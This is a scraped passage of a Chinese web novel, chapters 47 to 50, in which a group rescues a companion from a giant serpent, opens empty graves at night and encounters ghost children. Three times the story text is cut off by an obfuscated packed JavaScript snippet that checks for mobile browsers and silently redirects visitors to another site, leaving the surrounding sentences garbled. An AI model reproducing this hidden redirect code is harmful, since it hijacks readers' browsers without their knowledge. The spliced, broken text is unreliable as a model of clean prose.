那声音更响了,显然那东西一直在向她们靠近,而且越来越近,越来越近,原先只是淡淡的几乎察觉不到的香气也变得浓郁起来。从那几个洞口冒出的凉风合在一起,吹的人心里直冒寒气,五人紧紧贴在一起。有归看了眼洞内的情况,忽然一偏头示意众人先退出去。几人都点点头,小心的倒着往后挪,眼睛都警惕地看着那几个洞口。 那声音忽然消失了,几人也顿住,只是一瞬,有归忽然大喊:“跑!” 众人都转身向外跑去,但是来不及了,风声挟着碎石和尘土从头顶袭来,有归大喝一声:“别看!” 但是来不及了,众人都没有经过专业的训练,无法克制生物本能地抬头,然后只觉一股大力袭来,都倒在地上摔了个七荤八素,眼角余光扫到洞顶甩下一条黑影卷了什么东西又飞快的缩回去了。 周嘉语疼得呲牙咧嘴,黎重摔得也不轻,他撑起身体左右看看,忽然道:“有归呢?有归去哪了?!” 这一声直接把众人震住了,连忙起身察看,把这山洞的角角落落都找遍了,也没有发现有归的身影。众人都聚集到她们方才摔倒的地方,抬头一看,在最右侧靠近崖壁的地方竟有一个洞口。艾莉安带着哭音说:“有归是被那个东西带走了吗?” 周嘉语声音沙哑道:“不止,刚才就是她推了我们一把,我们才没有被一起带走。” 她转头去看黎重,黎重眼睛已经红了,死死盯着那个洞口,手握成拳一下打在崖壁上,力道之大霎时一片血肉模糊。他这一下连周嘉语都懵了,才认识这么点时间就用情至此么,她拍了拍黎重的肩膀,也抬头看着洞口:“先包扎一下吧,有归还等着我们救她,你要保重,不然就少了一个人也少了一份力量。” 说是包扎,黎重拿水一冲,裹上布也就完了。周嘉语在一边看见,心说行吧,你现在这么糊弄,等有归看见了肯定会挨骂。她也懒得提醒,只是说:“我刚才查看了另外几个洞穴,都是不互通的,最起码在前面这段是不通的,我们没法从路面过去,只能从这个洞口进去。这洞口离地面三米多高,我们得想办法上去。” 洞口虽然靠近崖壁,但终究离崖壁有一段距离,而且那段崖壁十分光滑,没法直接爬上去,只能另寻他法。四人都不是登山爱好者,不会往空间里塞登山装备,黎重也试图攀爬过,上去两步就滑了下来,试了几次都是如此,恨得他一拳又砸在山岩上,刚刚包好的手又开始沁血。 周嘉语都懒得管他了,在四周搜寻着,希望能找到能够帮助她们攀登的东西。艾莉安缩在一边抹着眼泪,她不敢说,她们已经耽误了这么久,如果掳走有归的是那条大蟒蛇,说不定已经把有归给吃掉了。周嘉文想了想,对黎重说:“你踩在我的肩膀上,是不是就能够到洞口了?” 黎重眼睛一亮,还没等他说话,就被周嘉语否定了:“不行,你们两个身高体重差不多,又没有经过训练,这里也没有可以支撑的点,万一下面的人没撑住,上面也会摔下来。两个人都受伤了,我们还怎么救有归?” “那你说怎么办?”黎重几乎是吼出来的。 知道他着急,周嘉语也没跟他计较,只是将二人打量了一番,说:“一个人肯定不行,但两个人一起的话,说不定可以做到。” 她这话说的略微有点绕,但黎重还是明白了,“你是说我们两个一起把你送上去?” 周嘉语点头,周嘉文打断她们:“不行,我绝对不同意你一个人去,太危险了。” “哥你听我说完,不是只有我一个,是我们大家。我刚刚在外面看见树上缠着很多树藤,那些树藤都很结实,可以当作登山绳用。我把这树藤一起带上去,到时候我把这树藤的一端垂下来你们缠在腰上,另一端绑在石头上固定,我在上面使劲拉,这不就减轻下面的负担了吗?”周嘉语耐心解释。 周嘉文还是不放心:“可是......” 立马被周嘉语打断:“没有可是!哥,如果没有有归,我们早就死了!就算不提这个,难道你觉得我们几个能甩开有归自己独立通关?” 这话说的太重了,周嘉文脸色青红交织,浑身颤抖,周嘉语自己也气得不轻,瞪了她哥两眼,拽着艾莉安黎重去找可以当登山绳用的藤蔓去了。 黎重回头看一眼周嘉文,他还站在原地,一动不动,回头对周嘉语道:“你刚才对你哥是不是太过分了,他也只是关心你而已。” 周嘉语沉默良久,摇头道:“你不懂,我一直希望他不要这么关心我。” 说着就往前去,黎重站住,回想她刚才这 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几人一人拖拽着一段树藤往山洞走去。周嘉文原本是蹲在角落面对着山壁的,不注意看还以为这里长了一朵蘑菇。他听见声音回头,一脸忐忑不安。周嘉语拿她哥是真没办法了,叹了口气道:“别愣着了,快过来帮忙吧。” 即便担心着有归,黎重眼中还是泄出了一点笑意:周嘉语这样的人居然就这么简单被拿捏了,真是优秀的匹配机制。 两个男人都蹲下,让周嘉语踩在他们肩上,艾莉安在一旁张开手臂,怕周嘉语掉下来,想了想还是直接伸手扶着她,看她站稳了才松开。两人伸手抓住周嘉语的脚踝,帮助她稳住身形,这才慢慢站起来。艾莉安看见周嘉语身体晃了晃,几乎要尖叫出来,连忙捂住嘴,不敢惊扰正在专心动作的三人。 好在周嘉语连忙稳住了身体,颤巍巍地伸手去够头顶的洞口,一把抓住洞岩的石头,这才略微松了一口气,低头喊道:“还要往上,太高了我上不去。” 两人额头青筋爆起,显然就算是两个人合作,这件事也并不轻松。 周嘉语并不纤瘦,她虽然是游戏博主,但并不是那种只会宅在家里不见阳光的死宅,每天早晚跑步一小时打底,再去健身室泡上半天。她其实是一个高大强壮的女人,和有归完全不同。再加上那缠在腰上的藤蔓,两三百斤的东西让他们骤然托起,还是直上直下的那种,真不是一件容易的事情。毕竟他俩完全没有经验。 两人腿肚子都在打颤,但还是坚持住了,直到他们站直身体,才听到头顶传来一声:“我上去了。” 身上骤然一轻,两人抬头向头顶望去,地上的树藤一直在往上走,显然是周嘉语在拉动它。过了一会儿,见周嘉语从洞口探出张脸,说:“可以送艾莉安上来了。” 下面的人一个一个被送上来,先是周嘉文,最后才是黎重。黎重是被上面三个人硬拉上去的,等他上去了,三人也快瘫倒了,周嘉语喘着粗气,指着只剩下最后一股粗纤维连接的树藤说:“还好坚持住了,没断。” 四人都喝了一支营养液,便沿着地上的痕迹向山洞深处进发。 48. 第 48 章 比起被她推了一把,又是砍树藤没条件都要创造条件终于是攀上洞穴的四人,有归其实没遭什么罪。虽然刚开始受了点惊吓,但因为这洞穴通道其实还算宽敞,那条大蟒蛇是用尾巴举着她在地上游动的,她感觉自己不是阶下囚,倒像是在坐观光车游览的旅客。 她是挺心大的,居然真的留意起路过的东西,虽然因为大蟒蛇爬的太快没看的很清楚,但她还是注意到了村长老头说过的有石桌石床和水源的石室。而且不止这些,她看到堆放在角落的几口大箱子,木制的,完好无损,材质很像她们在风蚀洞发现的那个木匣。有归立马确定这里就是沈凌璧居住过的地方。 她的心放下来了。 沈凌璧常往来这里,既然大蟒蛇没有吃掉她,那么应该也不会吃掉自己。可是新的疑问又来了,这蛇既然不是为了来顿大餐,那它把劫持自己是为了什么? 很快,有归就无暇顾及这些了,因为大蟒蛇正在通过的这段路程,两边石壁上刻满了壁画。她只记住了一幅画面:黑夜沉沉,浊雾之中,半空一匹雪白的狼对月长啸,月是血月,狼眼血红,额心一朵绽放的血花;与之对峙的是一名执剑少女,面孔明明是典型的云上帝国人的长相,穿着也是云上帝国的衣裳,却有一对尖耳,一头金发。 一人一狼一月都在一个透明的罩子里,透明罩之外,刻画了更多云上帝国的民众,只是形象都比较模糊,只有四人比较鲜明:一须发皆白的老人神态怀念中透露着担忧;一蓝衣束发英姿勃发的女子注视着前方对峙的一人一狼,目光焦急;旁边一清冷如月亦飘逸如月的女子正低头说着什么;一黑发黑眸俊美出众的男子手放在腰间的剑上,咬牙看着场中的对峙。 这幅画所传达的内容她大致能理解,正是因为这样,有归脑海中冒出了更多的问题:这幅场景发生在什么时候?是真是假?执剑的少女是谁?其他人又是谁?最终结果是什么?最重要的是,这幅壁画是何人所留?出于什么目的? 多想无益,有归把注意力放回自己如今的处境上来。还没等她开口,就见前面一片光明,大蟒蛇来到一个明亮的山洞,猛地停下,尾巴松开,她就从半空中坠落下来,摔得不轻不重。 显然,大蟒蛇没把她当食物,也没把她当人。一路行来没把她拖着走,已经是很怜香惜玉了。 有归摇摇头,觉得自己可能是摔傻了,一条蛇能懂什么是怜香惜玉吗?她从地上爬起来,抬头,正对上铜铃似的的蛇眼,不是形容蛇眼圆鼓鼓,而是大似铜铃,再仔细看,这蛇异常的大,有归比了一下,比两个自己还粗,通体玉白。对,就是玉白,那蛇身上覆的鳞片,跟玉似的温润。蛇头的两边,还长着跟鱼鳍差不多的小翅膀。 她眨巴了一下眼睛,这东西,还算是蛇吗?都该飞升成神了吧? 见她不说话,蛇脑袋歪着,眼睛直勾勾地望着她,有归竟然看出了几分人的神态,还觉得有几分可爱,鬼使神差地伸手摸了一把。然后就对上蛇震惊的眼神,有归沉默了,良久,才开口:“你是人对不对?或者说你有人的情感,是吗?” 蛇看了她一眼,对她张开了嘴巴,有归吓了一跳,往后退了两步,鼻翼间萦绕着熟悉的香味。这回有归是真不怕它了,这谁家蛇不腥不臭还自带香气啊,她伸手想摸摸蛇头上的小翅膀,被蛇用眼神警告了,喉间发出嘶嘶的低吼,成功震慑住了不乖的小孩。 有归瘪了瘪嘴,蛇却不惯着她,尖利的齿穿透她的衣裳,硬是把她转过来了。面对着那一墙的发光体,有归一时睁不开眼睛,等她适应了强烈的光线,才发现墙上都是果子,圆圆的,指头大小,她托起一颗在手心查看,发觉这果子是真的在发光。 蛇看看那果子,又看看有归,蛇嘴微张。有归奇异地领会了它的意思:“你是要我吃这个果子?” 蛇头上下摆动着。有归呆了,完全没想到有生之年竟然能看到蛇点头,这么通人性的小......大东西,她能带回去不?她家还蛮大的。 有归这边胡思乱想着,蛇见她迟迟不动,用头拱了拱她,尾巴越甩越快。她眨了眨眼,又眨了眨眼,一口气摘了十七八颗果子用衣服兜着,直接坐在地上吃了起来。那果子流出莹白的汁水,顺着她的手指滑下去,然后被一截粉红的舌头卷了去。 “好甜好香好好吃!”有归眯着眼睛回味刚才的滋味,对蛇道,“那个,我可以把这些果子都吃了吗?” 蛇果不其然炸毛了,鳞片咋起,翅膀微张,连眼睛都变成了竖瞳。有归眼睛圆睁,嘟了嘟嘴,牙齿轻轻咬了一口下唇,这是她撒娇时惯有的姿态——然后做了一个鬼脸:“小气!” 如果蛇有表情,那么此刻能在它脸上看出大大的无语,它盯着这个人类,完全不明白怎么有人能跳脱到连蛇都要调戏。 有归伸了个懒腰,打着呵欠:“吃饱了犯困,想睡觉。蛇,你给我当床和抱枕好不好?”蛇身硬中带软,蛇鳞入手温润沁凉却不冰冷,比硬邦邦的石头好多了。 询问的语气,但她完全没给蛇拒绝的机会,双手攀着蛇身就爬了上去,选了一处比较宽的地,手掌枕在脸侧,闭上眼睛,就这么趴着睡着了。 蛇扭头看了她一会儿,像是认命般垂下脑袋,身体盘成一个圆,防止有归掉下来。蛇头则挨着有归,轻轻地触碰她,蛇眼看着她,仿佛含着笑意,眼皮一合很快闭上了。 一人一蛇就这么依偎着睡着了。 黎重周嘉语她们赶到的时候看见的就是这么略显荒诞的一幕。 看见有归没事,众人都是松了一口气,继而就是无语。自己这边着急上火紧赶慢赶生怕迟了,结果人家其乐融融地头挨着头睡觉呢,周嘉语看了眼黎重,然后转过头去。你说这人吧真的是看缘分,她们这几个人里,黎重是第一个遇见有归,还同睡过一间房一张床,也没看出有归对他有什么特殊待遇。反倒是这大蟒蛇,都不是人,刚打照面就掳走有归,初见这么不愉快,结果有归就是亲近它。 黎重脸上看不出来什么,轻飘飘地瞥了周嘉语一眼,走上前去唤醒有归。蛇早就发现她们了,见状,蛇头竖起,居高临下地看着几人,嘶嘶吐着芯子。黎重停下脚步,周嘉语说:“它是不是不让你叫醒有归?”看来这蛇还挺护着有归。 但有归已经醒了,她揉着眼睛,声音还带着刚刚睡醒的沙软:“你们来了。” 那蛇忽然动了,将盘结的身体打开,有归从蛇身上滑下来,把众人仔细瞧了一遍,注意到黎重包着纱布的手:“你受伤了?” “不小心擦刮到的,没什么问题。”说是这么说,但有归拿着他的手,小心翼翼揭开纱布查看时,他也没拒绝。别说拒绝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611279|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连躲都没躲一下,看得周嘉语撇了撇嘴,十分无语。 “你这是刮到?”有归看到了他的伤口,整个手背都是伤,肉里全都是泥土小碎石。她扬起笑脸,轻声说,“抱歉让你担心了。”她一看就知道这个伤口是怎么造成的。 其余三人看了看黎重,最终目光落在有归身上,黎重也盯着有归看,看得有归奇怪起来,“怎么了?” 她正从随身空间往外拿出一个急救箱,把箱子打开,里面的东西尽数摆出来。其实这点小伤打愈合剂都略有些浪费,经过基因改造后的人类自愈能力得到了大幅增强,这伤估计都坚持不到晚上就好了。但那些尘泥碎石的长在肉里总是不好,有归捧着黎重的手背,小心地用镊子把伤口清理干净。 “没什么,就是没想到你还会带这么古老的东西。”未来时代的人们极度依赖治愈药剂,发烧了来一支,感冒了来一支,身体哪里不舒服也来一支。治愈药剂滥用的情况非常严重。周嘉语自己倒是非常克制,除非必要绝不使用,不过她是真没想到有归竟然还在用这种古老的急救方式。 有归已经把黎重伤口里的小石粒都挑出来了,正往上喷消毒药水,“忍着点儿。”话是这么说,但从来没有接触过这种治疗方式的人,一时还真有点受不住这种刺激。黎重的表情差点没绷住。 消完毒,有归把他的手包起来,说:“我一直都带着的。虽然没治愈药剂好用,也麻烦,但依赖性不强,一些小伤口用它处理就够了。” 那蛇一直在盯着她们看,尾巴在身后晃来晃去,显得十分悠闲。它一会儿看看有归,一会儿看看其余四人,蛇脸上是看不出什么表情来,但那双眼睛却流露出玩味的情绪出来。 周嘉语早就注意到这条大蛇了,但她又不是有归,能把蛇身当床。对她来说,这蛇首先是一个庞然大物,是能够随时威胁到她们生命的存在,她一直关注着蛇的动静,做好拼命的准备。不经意间看到了蛇眼底的情绪,饶是她一直提防着这巨物,此刻也不由恍惚:这到底是人还是蛇? 蛇却没注意到她,因为有归处理好黎重的伤口后,就向它走过来,指着那些发光的果子,笑容甜美:“这个可以让她们尝尝吗?” 看似在询问蛇的意见,实则人已经向那些果子伸出了手,黎重她们心都提了起来,见蛇依旧悠闲地摇着尾巴,这才放松下来。有归摘完果子,给她们一人分了两颗,周嘉语拿着果子犹豫了一会儿,见黎重毫不犹豫,自己也往嘴里送。艾莉安周嘉文看她们如此,心一横,囫囵吞枣似的咽下去了。 蛇就在一边看她们的眉眼官司,蛇尾在身后甩来甩去,忽地高高扬起,在众人还没反应过来的时候,一尾巴把她们都抽晕了。只有有归及时往地下一滚,躲过了这次突袭。 她看了一眼躺在地上的四人,对蛇道:“我们是不是有什么误会?她们不会伤害你的,我保证。” 都到这一步了,她依然不觉得蛇想杀她们,试图和它沟通。蛇直勾勾地看着她,尾巴甩得更快了,她左跳有滚,十分狼狈,蛇却没有放过她的意思。但有归依旧不觉得蛇是想杀她们。 这山洞不算大,有归再怎么上蹿下跳,终究逃不掉。蛇一尾巴甩上有归的后背,把她拍在地上。 彻底晕过去之前,有归脑子里只有一个念头:这唱的是哪一出啊? 49. 第 49 章 月黑风高杀......正是适合刨坟的好时候。 怎么说呢,按照古云国一脉相承的习惯,开馆如同杀人,这种黑咕隆咚的时候,正适合挖坟。 最开始确定来这祖坟地的时候,是没打算这么做的。谁知道她们去看那个祖坟山背山洞,被那条大蛇一尾巴都抽晕了呢,大蛇没吃她们,只是把她们都扔回了沈氏墓园,正好是沈凌璧的墓前。 有归是第一个醒的,一抬头看到自己睡在坟圈子,饶是她见多识广也吓了一跳。黎重周嘉语她们横七竖八地躺在地上,姿势特别好玩,有归本想强行启动终端拍照留恋,但想了想还是做吧。四人被她摇醒,一看周围那么多墓都吓得不轻。未来城市居民哪见过这个啊,她们死了身体是直接销毁的,如果亲朋子女想留下纪念直接压成别的东西也可以。 夜晚的墓园看上去比白天更静,大概是直到这里面没有死人,众人也就渐渐放开了手脚。 黎重看向有归,对她道:“现在要怎么办?” 这夜深人静的,小楼是回不去了。先不说摸黑下山对于她们几人是一件多么难的事,现在孟溪村恐怕已经是百鬼夜行了,她们要是一回去撞上那剥皮的怪物咋办?打又不一定能打过,那是个怪物,手里还提着刀呢,倒不如就在这祖坟山过一夜算了,最起码这里没有鬼,还算安全。 有归环顾了一圈祖坟地,问她们:“你们愿意睡在这里?” 众人齐齐摇头。 她们完全没有带露营的装备,如果真要在这里休息,那真的是以天为被以地为床了。而且这里是坟地,虽然来到这里以后就没条件讲究了,但也不能这么不讲究啊。她们还没心大到这份上。 有归笑道:“既然如此,那就继续干活吧。” 说着,她从随身空间里拿出若干农具,分发给众人。这是来之前她顺手从小楼的杂物间里拿的,寻思着或许能用上,还真的派上用场了。周嘉语忍了又忍,终究没有问为什么她的随身空间会这么大。有归从来没有遮掩过,众人——最起码黎重和周嘉语是明白的,所谓未科院研究员的身份只是个幌子,有归的真实身份恐怕是她们难以想象的。 周嘉语甚至脑洞大开,怀疑有归是不是LUO变成的,因为传说LUO、YIN都是永生者,当初技术不成熟,反而阴差阳错造出了最完美的作品。 这么想着,也没耽误她接过有归递过来的锄头,跟着一起刨土。 本着就近原则,她们先刨的是沈凌璧的坟头,沈凌璧的墓是用石头围的,比刨那些土堆难多了。一上来就挑了个最难的,这又是个体力活,偏偏她们五人中除了有归,谁也没干过这个,注定要花费更多时间。 刨土的间隙,有归听周嘉语数落她:“在山洞里你和那蛇太亲近了,虽然它看上去挺通人性,但毕竟是畜生,万一趁你睡觉一口把你吞了怎么办?” 有归笑道:“它不会被吃我的。不知你们注意到路上那间石室没有。” 众人都摇头,她们一路都在心急她的安危,之前耽误了太长时间,生怕有归成了那蛇的大餐,一心只想赶快找到她,哪里有心思去注意什么路边的石室。 有归说:“那石室里堆放着好几口和我们在风蚀洞发现的木匣一样材质的箱子,里面也有人生活的痕迹,应该就是沈凌璧来这里小住的地方。” 众人已经呆了,艾莉安失声道:“可是那个洞口离地面三米多,沈凌璧是怎么上去的?” 沈凌璧七老八十的过滩下河长途跋涉就算了,她们实在很难想象她是怎么上去那个洞口的,自己跳上去的?众人脑海中不可抑制地出现一幅画面:一个白发苍苍佝偻着腰的老人家,脚在地上一蹬,蹦起三米多高。她们齐齐露出痛苦的表情,救命! 有归奇怪的看着她们,她再聪明,这时候也猜不到几人脑补了多么猎奇的画面。她只是说:“你们忘了我是怎么上去的?” 众人眼前一亮,有归继续道:“应该是那大蛇在上面接应她,不过也不排除沈凌璧自己上去的可能。山洞寒凉,那间石室想来也差不多,我在里面并没有看见取暖的东西,似乎也没有被褥,沈凌璧当时已经七十多岁了,再怎么健壮也不可能受得住。可是沈三姑却告诉我们她在这里住了小半月,想来,沈凌璧并不是天生的身体好,而是她本就异于常人。” 众人点点头,认同这个说法。有归又说:“而且,我怀疑沈凌璧多次前往山洞,并不是见什么修仙者,而是见那条大蛇。” 黎重道:“这么说来,沈凌璧背后的并不是神人,而是神兽。” 周嘉语道:“的确,这荒山野岭的,那大蛇人都没见过几个,却这么善解人意,未免有些奇怪。如果它曾经跟人生活在一起,也就不难理解了。” “是啊,所以我断定它不会伤害我。而且它不是还送我们果子吃了,那果子可是好东西?” 几人又开始听不懂有归的话了,连忙问道:“怎么说?” 有归答非所问:“你们觉得身上有什么不舒服的地方吗?” 众人都摇头,周嘉语忽然愣住,抬头去看有归:“我们之前好像被大蛇甩了一尾巴是吗?” 有归笑道:“那可不是甩了一尾巴的事,你们几个当场就晕过去了,就连我,反应快躲过了第一下,最后还是被拍晕了。那么大一条蛇,它的力道有多大不用我说,按理来说我们体内的五脏六腑大概都是保不住的,可现在我们都好好的站在这里。” “是那个果子,”黎重道,“我们昏迷过去后它给我们都吃了那个果子。” 周嘉语道:“难怪刚醒来的时候感觉嘴里有些甜,原来是这样,疗伤圣品啊。” 有归却摇头,“不止,我觉得那果子很有可能就是沈凌璧和神兽准备的后手。这果子的功能很可能就是为我们打通什么关窍,让我们可以像以前的人那样掌控自然元素,并且内化为自己的力量。所以明天在去后山确定婴诡的存在,和探访破屋之前,我想先去拜访沈三姑。” 黎重很快反应过来,“你想从她那里得到修炼的方法?” 有归嗯了一声,“这只是目的之一。我想要问她的是,为什么选择对柳笙的事袖手旁观,还有你之前说的那个问题。” 黎重愣了一下,然后笑道:“我确实很想知道这个问题的答案。” 当时她们推断出是沈星星的背刺让沈氏族人开启了悲惨的命运,这时候黎重提起沈凌璧背后的那个预见者,质疑沈凌璧是遭族人背叛的可怜人,还是亲手导演了这出悲剧的罪魁祸首? 说着,众人也刨开了封土堆,里面空空如也。天上的月亮特别明亮,但也不足以让她们看清墓室的情况,有归率先跳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你看这儿,有字。”黎重指着那珏佩的内侧给有归看,有归看时之间那里刻着一个曦字,她眨了眨眼,“这是沈凌璧?是她从前送给沈星星这个小辈呢,还是沈星星自己偷的?看来明天要问沈凌璧问题又多了一个。” 她拿出一个小口袋把玉珏装了起来,拿着口袋晃了晃,“沈星星把这东西放在衣冠冢里应该大有深意,普通的装饰品应该没必要特意放进去。” 周嘉语道:“那你觉得它是一个普通的装饰品呢,还是一件神奇的法器?” 有归回她:“我觉得我们直接问沈凌璧更好。”动动嘴皮子就可以得到答案的事情,何必去动脑子呢,更何况来到孟溪村后动脑的地方太多,有归觉得自己还是省着点吧。 直到天边泛起鱼肚白,众人一刻没停,打开了十数座坟墓,无一例外的,这些坟都空了,连棺材也不见。 一晚的劳动,众人都灰头土脸一脸疲惫。周嘉语说:“感谢大蛇,感谢它的果子,不然都不用到天亮我就趴下了,虽然我现在就很想趴下。” “要趴也等回去再说。”有归拍了拍手上和身上的泥土,见周嘉语不动,伸手去拉她,入手温度烫得吓人,“你发热了?” 周嘉语摇头道:“没事,我还坚持得住,我们赶快回去吧。” 但她终究没坚持得太久,半道上就晕了,有归让周嘉文背着她走。然而屋漏偏逢连夜雨,黎重的情况也不太好,不过他倒是坚持到了小楼,只是一进屋就栽倒了,也是发热,体温烫得惊人,滴点水上去能看见冒白烟那种。 吃药喝水治愈药剂都没用,显然,这只能靠她们的意志力硬扛过去了。 周嘉语早就昏死过去了,黎重明明已经虚弱至极,还是强撑着跟有归说:“抱歉,我要失约了。” 有归双眼通红,吼他:“都这时候了还说这个干什么!” 黎重扯了扯嘴角,彻底昏了过去。 50. 第 50 章 这是新历999年7月15日,她们来到这个世界的第四天。 距离最后的宣判日仅隔一天。 正是关键时候,然而她们一行五人却倒下了一小半,还正好是黎重和周嘉语,幸好有归没事,主心骨还在,所以艾莉安周嘉文两个就算哭得跟泪人似的,也还撑得住。 此刻小楼中,床上躺着的两个暂且不论,床边坐着的两个都拿眼睛看着站着的那个人。有归拳头紧握,用尽所有力气才克制住自己不失态,她狠狠地闭了闭眼睛,睁开的时候已经有了决断,对还醒着的两人说:“你们好好照顾好她们两个,等我回来。” 说着就要走,艾莉安连忙叫住她,看着她眼里的血丝,“你歇歇再去去吧。” 有归摇头:“时间不等人。” 艾莉安一把抓住她,说:“那我和你一起去!” 有归拿开她的手,看着床上昏迷的两人,说:“你得留下来。如果真有什么事,周嘉文一个人忙不过来。” 艾莉安也懂,她就是放心不下,现在有归的状态实在太让人担心了。她咬了咬唇,又道:“那你要答应我,绝对绝对不要一个人去破屋。”说着,声音又带上了哭腔,“我们已经倒下两个了,你不能再出事了。答应我,你一定完好无损的回来。” 不是活着回来,而是要完好无损的活着回来,这要求忒高了。有归无奈,伸手摸摸她的头,艾莉安挺高的,奇特身高差让这副本来应该挺和谐有爱的画面变得有几分诡异。一边围观的周嘉文脸色变得微妙起来,有归终于露出来一个笑容,转身往外走,“好,我答应你。” 有归出了小楼,却没有直接上后山,反而转了个弯,直奔沈三姑家去了。她倒不是兴师问罪,黎重周嘉语倒下的莫名其妙,想来想去,问题大概是出在她们吃的那个果子身上。但一来是有归自作主张摘给她们,她们自己决定吃下去的,跟大蛇没什么关系;二来大家都吃了那个果子,她自己和艾莉安周嘉文都没事,黎重和周嘉语倒下了,联想到之前两人都对雷唤之术有感应,这让有归更加坚信自己的判断。 所以她来这里,只是向沈凌璧确认两件事。 见到沈三姑,有归劈头就是一句:“我朋友吃了一种会发光的果子,现在高烧不退,有危险吗?” 沈三姑看到她先是一愣,过了很久才道:“非常危险,需要她们自己挺过这一关。” 沈凌璧对她笑道:“是那个叫周嘉语的孩子吧。如果是她的话,应该没有问题,那孩子很有天分。” “另外一个叫黎重,只是他对雷唤之术上的雷电感应没有周嘉语那么强烈。” 沈凌璧了然,她目视有归,叹息道:“这个孩子我曾经见过,也很有天赋。但他执念太深,恐难长久。” 有归明白,这个见过并不是真的在这里见过黎重,而是在观察到路过风蚀洞的有归时,看见和她同行的黎重。不过,有归皱了皱眉,这个“恐难长久”什么意思?便点头道:“我会好好劝他的。” 听见她这话,沈凌璧住了口,稀奇地打量着她。有归很坦然地让她看,但她今天没时间和沈凌璧在这耗,单刀直入道:“我一会儿要去一趟后山,有什么要注意的吗?” “你要小心。”沈凌璧说,“那些婴孩生来便残缺,又遭遗弃,执念极深,怨气极重。死后又不得不为人驱使,久而久之,形成了无法消散的瘴。后山那个地方,早就成了鬼哭之地。” 有归点头,谢过沈凌璧的指点,便起身往后山去了。她没有问沈凌璧化解之法,沈凌璧也没有提起。这后山鬼哭之地恐已存在百年,到如今这几乎无法收拾的地步,全是放任自流的结果。沈凌璧并不是目光狭隘之人,她也不是那种没有困难制造困难也要上的神经病,那么答案呼之欲出:她做不到。 既然如此,有归也只好看一步走一步了。 通往后山的路并不难走,比起去西山山顶和祖坟山的路,有归觉得自己简直行在坦途上。山脚还是大片的竹林,越往上走,便能见到更多高大的梧桐、香椿和松树。树下的林荫地不好种植作物,便栽了好些茶树,此时正是采摘茶叶的好时候,山上山下都能看到拽着个袋子,这棵茶树采两片叶子,那棵茶树揪一揪茶枝的小孩子。 这些孩子长的白白嫩嫩,都有藕节似的胳膊小腿,大眼睛长睫毛,笑容天真无邪。他们看见了有归,缠着她让她跟他们玩游戏。有归知道自己是入了魔障,可看着那一双双盯着她写满渴望的眼睛,终究还是不忍心。 因为残缺,所以渴望完整;因为畸形,所以渴望正常;因为从未得到过爱,因为从来只有彼此,所以才渴求她的认同和陪伴。 有归任由他们将自己拉走,一路往山顶去,停下来后看了看周围的环境,叹了口气。这些孩子从来没有活过,也没有生活的经验,竟将她带到了崖边。 她转身面对着他们,双手叉腰,大声呵斥道:“这个地方不好,太危险,万一你们不小心掉下去怎么办?” 孩子们面面相觑,怯怯地看着有归。有归放柔了声音,“好了,我们另外寻一个地方,姐姐已经想到了好几个好玩的游戏。我们先玩老鹰捉小鸡,这个游戏需要一个很大很平的地方才能玩的起来,姐姐来扮老母鸡,专门保护你们这些会被老鹰抓的小鸡。” 小孩们欢呼着一拥而上,簇拥着她到了一个新的地方。有归这回也是拼了,把自己小时候在大院玩过的游戏都拿出来,但这些小孩本就不是人,自然也不知道疲惫,饶是有归的精力,也有些受不住了。她坐在地上,那些孩子围着她,看她将一块布裁开,放了些小石子进去,捏着边缘缝好,做成一个沙包。 这些孩子哪里见过这个,有归一气做了好几副,给他们分了队,又教他们怎么玩。不想玩的就靠着有归,听她讲故事。有归没有只讲所谓的适合小孩子听的童话故事,她提了噩梦乐园,也说起宛湖基地的湮灭,讲自己小时候在大院当孩子王时的趣事,讲自己的第一任护卫长戚雪风,讲联合小组的大家,讲LUO和YIN怎么从中二少年蜕变为人类的领航员...... 越来越多的孩子玩腻了沙包,围在有归周围听她说起相对于这个世界很久很久以后发生的事。天黑了又亮,亮了又黑,不知过了多少个日夜,在有归声音讲到沙哑,提起墨闲倾的死时,有一个孩子抽噎着说:“既然她们都不能永远陪着姐姐,那姐姐留下来好不好?我们可以陪姐姐的。” 像是打开了某个开关,那些孩子都嚷嚷起来,让有归留下。有些行动力强的,抱着有归的胳膊腿,抬起小脸凄惨地说:“姐姐好可怜,我们也好可怜,从来没有人陪我们玩,我们都很孤单。只有姐姐会陪我们玩,我们也会陪着姐姐,姐姐留下来吧。” 有归缓慢、坚定地摇头,“姐姐并不可怜,虽然没有人能一直陪着姐姐,但他们交给我的东西,一直支撑着我走到了现在。” 当她回顾过去的时候,自己都觉恍然。她有一个非常完整幸福的童年和少年时代,即便十七岁时遭遇了那样的变故,在她要倒下的时候,依旧有无数人站在它背后,支撑着她。她得到过无数完整的爱,从未有过欺骗,从未有过利用,从未有过背叛,那些关心和爱护共同铸就她的人格,死亡来临的分离虽然痛苦,却也并非无法承受。 最难受的时候,她一回头,恍惚中似乎看到了那些熟悉的面孔。他们就站在她的身后,每一个人都在笑,都在望着她。 她生于前未来时代,噩梦乐园离去的第六年,她走过三千九百五十一度岁月,一百四十四万二千一百一十五个日夜。她从来没有渴求过长生,可命运却和她开了一个莫大的玩笑。在YIN失踪、LUO消失,最后一个将她视作朋友小辈的墨闲倾,也永远收回了她的爱。至如今,有归已独自走了五百多年。 回顾来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 